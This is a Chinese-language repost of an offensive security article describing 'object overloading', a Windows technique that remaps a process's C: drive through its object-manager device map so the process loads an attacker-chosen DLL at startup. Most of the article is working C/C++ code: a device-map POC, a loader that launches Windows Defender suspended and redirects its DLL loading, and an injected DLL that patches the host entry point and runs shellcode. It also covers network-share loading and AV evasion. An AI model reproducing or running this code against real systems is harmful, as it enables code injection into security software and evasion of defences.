在这篇文章中,我们将研究一种作用于Windows 对象管理器的技术,它允许我们在初始执行期间将我们创建的任意 DLL 加载到 Windows 进程中,我一直称其为“对象重载”。
开端:对象管理器
在了解对象重载的工作原理时,我们需要深入了解负责在 Windows 操作系统中创建、删除、链接和保护对象的子系统。要按照本文中的演练进行操作,建议使用 WinObj。
对 ”对象管理器” 概念的一个很好的介绍是查看C:
驱动器是如何被操作系统公开的。如果我们在 WinObj 中搜索这个对象,我们会在目录中找到一个引用Global??
:
这里首先要注意的是C:对象实际上是在引用DeviceHarddiskVolume3(实际体积可能因您的系统而异)。这里介绍了我们需要在文章后面理解的第一个概念,对象管理器符号链接。对象管理器中的符号链接在概念上与您在文件系统上遇到的符号链接类型相同,它是对解析真正目标对象时遍历的另一个对象(或另一个符号链接)的引用。
例如,如果我们使用 PowerShell 并使用 cmdlet get-content C:testtest.txt,实际发生的情况是文件路径最终被 Windows 内核转换为DeviceHarddiskVolume3testtest.txt. 您可以通过以下方式直接引用对象来看到这种情况:
创建符号链接
那么我们如何在对象管理器中创建我们自己的符号链接呢?我们在创建它们的方式和位置方面会受到一些限制。通常,用户有权在几个地方创建新对象,例如以下位置:
-
RPC 控制
-
SessionsDosDevices0000000-[LUID]
要理解的另一件事是,由进程创建的符号链接仅在其句柄存在时才存在。例如,我们使用 James Forshaw 的工具包NtObjectManager通过创建一个新的符号链接来演示这一点:
$h = New-NtSymbolicLink -Access GenericAll -Path "??test" -TargetPath "??wibble"
此时我们可以看到在 WinObj 中创建了符号链接:
但是,如果我们使用关闭新符号链接的句柄$h.Close()
,我们会看到符号链接很快消失。那么我们还能用符号链接做什么呢?我们可以分配一个新的驱动器号来猜测我们的验证?
$h = New-NtSymbolicLink -Access GenericAll -Path "??p:" -TargetPath "DeviceHardDiskVolume3"
我们可以创建一个符号链接来引用以下目录HarddiskVolume
:
mkdir C:test
echo hi > C:testtest.txt
$h = New-NtSymbolicLink -Access GenericAll -Path "??p:" -TargetPath "DeviceHarddiskVolume3test"
我们现在看到的是p:
驱动映射到test
目录而不是根目录HardDiskVolume3
我们可以链接我们的符号链接,所以这样做也是完全有效的:
mkdir C:test2
echo hi > C:test2test.txt
$h = New-NtSymbolicLink -Access GenericAll -Path "??p:" -TargetPath "??C:test2"
文件
我们需要了解的另一个概念就是,对象路径开头的标记的含义。当我们提到时,我们实际上是指不同的地方,具体取决于执行的用户。
如果我们以普通用户身份运行,您会发现它指的是一个目录,例如:
如果我们使用提升的进程令牌引用此前缀,我们再次看到路径不同:
但是当我们作为 SYSTEM 用户使用前缀时,我们会得到完全不同的东西:
这种隔离使已安装的网络驱动器之类的东西为每个用户分开。通过在对象管理器中为每个用户会话提供不同的区域来创建对象以及适当的 ACL,我们可以避免一个用户访问其他用户会话中的对象。
但是我们不是表明C:
符号链接存在于GLOBAL??
. 那么当我们看到我们的路径是时,我们如何以自己的用户身份访问SessionsDosDevices0000000-LUID
呢?如果它无法在我们自己的路径中找到对象的路径对象管理器最终会退回到GLOBAL??
。
当然,这也意味着我们可以GLOBAL??
通过在我们自己的路径中创建一个具有相同名称的对象来重载现有对象,例如下面我们可以C:
覆盖驱动器以指向路径DeviceHardDiskVolume3test
:
然后当我们关闭句柄时,我们看到一切恢复正常:
按流程开发
现在,虽然我们可以为用户会话重载对象管理器中的现有对象,但对所有以当前用户身份运行的进程执行此操作肯定会导致一些问题。但是,实际上可以在每个进程的基础上执行此操作。
如果我们看一下ntdll
调用NtSetInformationProcess
,在 SDK 的里层,我们会发现一个选项ProcessDeviceMap
用于为进程分配一个新的DosDevices
对象目录。
让我们编写一个快速 POC 来验证一下这个 API 调用的实际效果:
#include <iostream>
#include <windows.h>
#include <winternl.h>
#define SYMBOLIC_LINK_ALL_ACCESS 0xF0001
#define DIRECTORY_ALL_ACCESS 0xF000F
#define ProcessDeviceMap 23
typedef NTSYSAPI NTSTATUS (*_NtSetInformationProcess)(HANDLE ProcessHandle, PROCESS_INFORMATION_CLASS ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength);
typedef NTSYSAPI VOID (*_RtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);
typedef NTSYSAPI NTSTATUS (*_NtCreateSymbolicLinkObject)(PHANDLE pHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PUNICODE_STRING DestinationName);
typedef NTSYSAPI NTSTATUS (*_NtCreateDirectoryObject)(PHANDLE DirectoryHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes);
typedef NTSYSAPI NTSTATUS (*_NtOpenDirectoryObject)(PHANDLE DirectoryObjectHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes);
_RtlInitUnicodeString pRtlInitUnicodeString;
_NtCreateDirectoryObject pNtCreateDirectoryObject;
_NtSetInformationProcess pNtSetInformationProcess;
_NtCreateSymbolicLinkObject pNtCreateSymbolicLinkObject;
_NtOpenDirectoryObject pNtOpenDirectoryObject;
void loadAPIs(void) {
pRtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(LoadLibraryA("ntdll.dll"), "RtlInitUnicodeString");
pNtCreateDirectoryObject = (_NtCreateDirectoryObject)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtCreateDirectoryObject");
pNtSetInformationProcess = (_NtSetInformationProcess)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtSetInformationProcess");
pNtCreateSymbolicLinkObject = (_NtCreateSymbolicLinkObject)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtCreateSymbolicLinkObject");
pNtOpenDirectoryObject = (_NtOpenDirectoryObject)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtOpenDirectoryObject");
if (pRtlInitUnicodeString == NULL ||
pNtCreateDirectoryObject == NULL ||
pNtSetInformationProcess == NULL ||
pNtCreateSymbolicLinkObject == NULL ||
pNtOpenDirectoryObject == NULL) {
printf("[!] Could not load all API'sn");
exit(1);
}
}
BOOL directoryExists(const char* szPath) {
DWORD dwAttrib = GetFileAttributesA(szPath);
return (dwAttrib != INVALID_FILE_ATTRIBUTES &&
(dwAttrib & FILE_ATTRIBUTE_DIRECTORY));
}
int main(int argc, char** argv)
{
OBJECT_ATTRIBUTES objAttrDir;
UNICODE_STRING objName;
HANDLE dirHandle;
HANDLE symlinkHandle;
HANDLE targetProc;
NTSTATUS status;
OBJECT_ATTRIBUTES objAttrLink;
UNICODE_STRING name;
UNICODE_STRING target;
DWORD pid;
if (argc != 2) {
printf("Usage: %s PIDn", argv[1]);
return 2;
}
pid = atoi(argv[1]);
loadAPIs();
printf("[*] Opening process pid %dn", pid);
targetProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (targetProc == INVALID_HANDLE_VALUE) {
printf("[!] Error opening process handlen");
return 1;
}
printf("[*] Process opened, now creating object directory \??\wibblen");
pRtlInitUnicodeString(&objName, L"\??\wibble");
InitializeObjectAttributes(&objAttrDir, &objName, OBJ_CASE_INSENSITIVE, NULL, NULL);
status = pNtCreateDirectoryObject(&dirHandle, DIRECTORY_ALL_ACCESS, &objAttrDir);
if (status != 0) {
printf("[!] Error creating Object directory.n");
return 1;
}
printf("[*] Object directory created, now setting process ProcessDeviceMap to \??\wibblen");
status = pNtSetInformationProcess(targetProc, (PROCESS_INFORMATION_CLASS)ProcessDeviceMap, &dirHandle, sizeof(dirHandle));
if (status != 0) {
printf("[!] Error setting ProcessDeviceMapn");
return 2;
}
// NOTE: This is hardcoded to HardDiskVolume3... update to the volume on your system for this to work (or to something like 'Global??C:')
printf("[*] Done, finally linking C: to \Device\HardDiskVolume3\testn");
if (!directoryExists("C:\test")) {
printf("[!] Error: Directory C:\test does not exist for us to targetn");
return 5;
}
pRtlInitUnicodeString(&name, L"C:");
InitializeObjectAttributes(&objAttrLink, &name, OBJ_CASE_INSENSITIVE, dirHandle, NULL);
pRtlInitUnicodeString(&target, L"\Device\HardDiskVolume3\test");
status = pNtCreateSymbolicLinkObject(&symlinkHandle, SYMBOLIC_LINK_ALL_ACCESS, &objAttrLink, &target);
if (status != 0) {
printf("[!] Error creating symbolic linkn");
return 3;
}
printf("[*] All Done, Hit Enter To Remove Symlinkn");
getchar();
CloseHandle(symlinkHandle);
CloseHandle(dirHandle);
printf("[*] Returning ProcessDeviceMap to \??n");
pRtlInitUnicodeString(&objName, L"\??");
InitializeObjectAttributes(&objAttrDir, &objName, OBJ_CASE_INSENSITIVE, NULL, NULL);
status = pNtOpenDirectoryObject(&dirHandle, DIRECTORY_ALL_ACCESS, &objAttrDir);
if (status != 0) {
printf("[!] Error creating Object directory.n");
return 1;
}
status = pNtSetInformationProcess(targetProc, (PROCESS_INFORMATION_CLASS)ProcessDeviceMap, &dirHandle, sizeof(dirHandle));
if (status != 0) {
printf("[!] Error setting ProcessDeviceMapn");
return 2;
}
return 0;
}
一旦我们编译了这个,我们就会启动一个受害者cmd.exe
会话。我们首先需要更改当前目录以C:
避免cmd.exe
发生错误,然后一旦我们针对受害进程的 PID 运行 POC,我们可以看到它立即对驱动器具有与其他运行的其他进程
其他视图:C:
使用对象重载进行 DLL 劫持
现在我们知道如何在操作系统上调整进程的对象的基本,我们怎么使用它来将任意代码加载到进程中?那么最有效的方法是生成一个进程,并让它加载一个受控的 DLL。
我们可以通过定位如Defender 之类的东西来查看一下。我们首先要找到一个在启动时由进程加载的 DLL。这时就需要是第一个实际从磁盘加载的 DLL,而不是中的一个KnownDlls部分,在Defender中,它是MSASN1.dll
:
当我们劫持一个 DLL 时,通常我们需要实现相同的导入,MSASN1.dll
否则就会遇到STATUS_INVALID_IMAGE_FORMAT
错误。但是在这种情况下,MSASN1.dll是从wintrust.dll加载来的,存储在KnownDLLs
:
这意味着在调用第一个函数之前,我们的恶意 DLL 不会被加载,此时应用程序已经从KnownDLLs
加载了DLL,这个初始示例让我们更加轻松,因为加载器将只使用LoadLibrary
和 GetProcAddress
,意味着我们不需要存根所有MSASN1.dll
的导出。
首先,让我们创建一个新目录C:testWindowsSystem32
并暂时复制现有的MSASN1.dll
。
接下来,我们将制作我们的加载器应用程序,它将在启动时为 Defender自动设置ProcessDeviceMap 。为了证明这点,我们将使用 C++ 对其进行编码,为了避免 Defender 在我们有机会劫持C:
符号链接之前跑掉,我们将使用暂停的线程启动进程:
CreateProcessA(NULL, (LPSTR)"C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2111.5-0\MsMpEng.exe", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
一旦我们创建了进程但它的初始线程被暂停,我们将C:
使用以下命令切换符号链接
NtSetInformationProcess:
status = pNtSetInformationProcess(pi.hProcess, ProcessDeviceMap, &dirHandle, sizeof(dirHandle));
if (status != 0) {
printf("[!] Error setting ProcessDeviceMapn");
return 2;
}
最后我们只是恢复进程主线程:
ResumeThread(pi.hThread);
正如我们将看到的,我们的 DLL 从我们的模拟 Windows 目录中加载的:
如果我们在加载 DLL 后关闭句柄,任何进一步的交互尝试C:
都将退回到GLOBAL??
,将一切恢复正常:
CloseHandle(symlinkHandle);
最后一个难题是如何保持主线程足够稳定,以允许我们注入的 DLL 代码运行。在这种情况下,我们的 DLL 将在进程初始化期间加载。为了方便起见,让我们用jmp的一些做好的代码修补入口地址,这足以防止主线程崩溃:
#include <Windows.h>
unsigned char shellcode[] = { 0xeb, 0xfe };
BYTE hook[] = { 0x48, 0xb8, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0xff, 0xe0 };
typedef void (*run)(void);
DWORD threadStart(LPVOID) {
run runner = (run)&shellcode;
runner();
return 1;
}
void sleepForever() {
while (true) {
Sleep(60000);
}
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
HANDLE event;
PIMAGE_DOS_HEADER dosHeader;
PIMAGE_NT_HEADERS32 ntHeader;
PBYTE entryPoint;
PBYTE baseAddress;
DWORD oldProt;
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
event = CreateEvent(NULL, TRUE, FALSE, TEXT("wibbleevent"));
// Tell our loader that we have started so that it can remove the symbolic link
SetEvent(event);
MessageBoxA(NULL, "DLL LOADED", "LOADED DLL", MB_OK);
// Kick off our shellcode thread
VirtualProtect(shellcode, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &oldProt);
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)threadStart, NULL, 0, NULL);
// Get the base address of the hosting application
baseAddress = (PBYTE)GetModuleHandleA("MsMpEng.exe");
// Find the start address from the PE headers
dosHeader = (PIMAGE_DOS_HEADER)baseAddress;
ntHeader = (PIMAGE_NT_HEADERS32)(baseAddress + dosHeader->e_lfanew);
entryPoint = baseAddress + ntHeader->OptionalHeader.AddressOfEntryPoint;
// Copy over the hook
VirtualProtect(entryPoint, sizeof(hook), PAGE_READWRITE, &oldProt);
memcpy(entryPoint, hook, sizeof(hook));
*(ULONG64*)((PBYTE)entryPoint + 2) = (ULONG64)sleepForever;
VirtualProtect(entryPoint, sizeof(hook), oldProt, &oldProt);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
编译 DLL 后,我们将其放入C:testwindowssystem32
目录中。一旦我们执行了我们的加载器,我们会看到我们最终在目标进程中执行了我们的 shellcode。
突发灵感!
好的,所以对于 Defender,我们正在处理搜索路径之外的延迟加载 DLL。但是,如果我们想强制将我们的 DLL 加载到存在的东西中System32
呢?好吧,当我们在模拟C:
驱动器时,我们可以做到这一点。
让我们从System32目录中随机获取一个 Windows OS二进制文件,例如defrag.exe
. 如果我们查看导入的库,我们就会发现除了sxshared.dll
所有库都存在于KnownDLLs
:
这意味着我们可以劫持sxshared.dll
,但是由于这是由加载器初始化的,我们将不得不模拟出导出的函数。如果我们使用 @flangvik 中的SharpDllProxy工具,我们可以生成一组转发导出以放入我们的 DLL 中:
一旦我们准备好 DLL,该过程与上面完全相同:我们defrag.exe
使用暂停的主线程启动该进程,重载C:
驱动符号链接,并强制加载我们的 DLL。让我们看看它的实际效果:
DLL 的网络负载
我们现在知道如何将我们的 DLL 加载到进程中,但是我们要加载的 DLL 需要存储在哪里呢?此时我们只是在符号链接,没有什么能阻止我们通过网络加载 DLL,但现在我们可以通过将您的符号链接指向以下内容来看到这一点:
DeviceLanmanRedirectornetworkservershared
现在有一些警告,如果来宾访问被拒绝(默认情况下在 Windows 10/Server 2019 上),那么我们需要使用有效的用户名/密码访问来设置共享以避免错误,您可以继续通过网络拉取 DLL:
技术考虑
首先,我们的 DLL 必须驻留在磁盘上。这意味着我们想要加载到操作系统进程中的 DLL 在编写时需要冒被 AV 扫描的风险,而不是通过WriteProcessMemory之类的调用注入,因此对我们的混淆技术也是一种考验。
其次,如果目标进程有几个在KnownDLLs 中不存在DLL,则需要将它们全部接收。
最后,根据所使用的技术,对进程的分析要么将 DLL 路径显示为原始C:windowssystem32
路径要么显示为我们的假路径。例如,如果某个工具使用NtQueryVirtualMemory
,如ProcessHacker 或 ProcessExplorer 等工具,则将返回虚假路径:
但是,如果该工具使用EnumProcessModules
,则将显示原始 DLL 路径,例如 WinDBG:
关注我们,让我们告别形式主义,跳出条条框框去思考,以最真实的视角和环境为准则,学习Hack技术,创建一个更安全的网络世界。
没有限制,没有界限
CS-shellcode分析
渗透测试中的前端加密
基于栈溢出的免杀尝试
Cobalt Strike Beacon 自定义 DLL 注入
原文始发于微信公众号(Pandora Box):Windows 对象管理器之对象重载
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论